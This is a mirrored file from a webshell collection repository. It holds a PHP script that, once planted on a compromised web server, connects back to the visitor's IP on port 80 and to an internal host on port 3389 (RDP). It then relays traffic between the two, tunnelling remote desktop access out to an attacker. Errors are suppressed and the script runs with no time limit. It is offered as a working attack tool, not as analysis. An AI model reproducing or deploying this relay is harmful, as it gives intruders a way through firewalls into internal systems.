mirror of
https://github.com/tennc/webshell
synced 2024-11-13 23:17:10 +00:00
57 lines
No EOL
2.1 KiB
Text
57 lines
No EOL
2.1 KiB
Text
$strIp = $_SERVER['REMOTE_ADDR'];
|
|
print $strIp;
|
|
|
|
$rhost = "www.test.com";//目标
|
|
$rport = 3389;
|
|
$mhost = $strIp;//我
|
|
$mport = 80;
|
|
settype($rport, "integer");
|
|
settype($mport, "integer");
|
|
|
|
@ob_end_flush();
|
|
@set_time_limit(0);
|
|
@flush();
|
|
$fpr = @fsockopen($rhost, $rport, $errno, $errstr, 10);
|
|
if (!$fpr)
|
|
{
|
|
print "{$errstr}\n";die();
|
|
}
|
|
|
|
$fp = @fsockopen($mhost, $mport, $errno, $errstr, 10);
|
|
if (!$fp)
|
|
{
|
|
print "{$errstr}\n";die();
|
|
}
|
|
@set_socket_blocking($fpr, false);
|
|
@set_socket_blocking($fp, false);
|
|
|
|
print "-";
|
|
$fa = 0;
|
|
$fb = 0;
|
|
while (true)
|
|
{
|
|
@flush();
|
|
if (feof($fp) || feof($fpr))
|
|
break;
|
|
$data = @fread($fp, 512);
|
|
if ($data)
|
|
{
|
|
$n = ftell($fp)-$fa;
|
|
$fa += $n;
|
|
@set_socket_blocking($fpr, true);
|
|
@fwrite($fpr, $data, $n);
|
|
@set_socket_blocking($fpr, false);
|
|
}
|
|
$data = @fread($fpr, 512);
|
|
if ($data)
|
|
{
|
|
$n = ftell($fpr)-$fb;
|
|
$fb += $n;
|
|
@set_socket_blocking($fp, true);
|
|
@fwrite($fp, $data, $n);
|
|
@set_socket_blocking($fp, false);
|
|
}
|
|
}
|
|
@fclose($fpr);
|
|
@fclose($fp);
|
|
print "."; |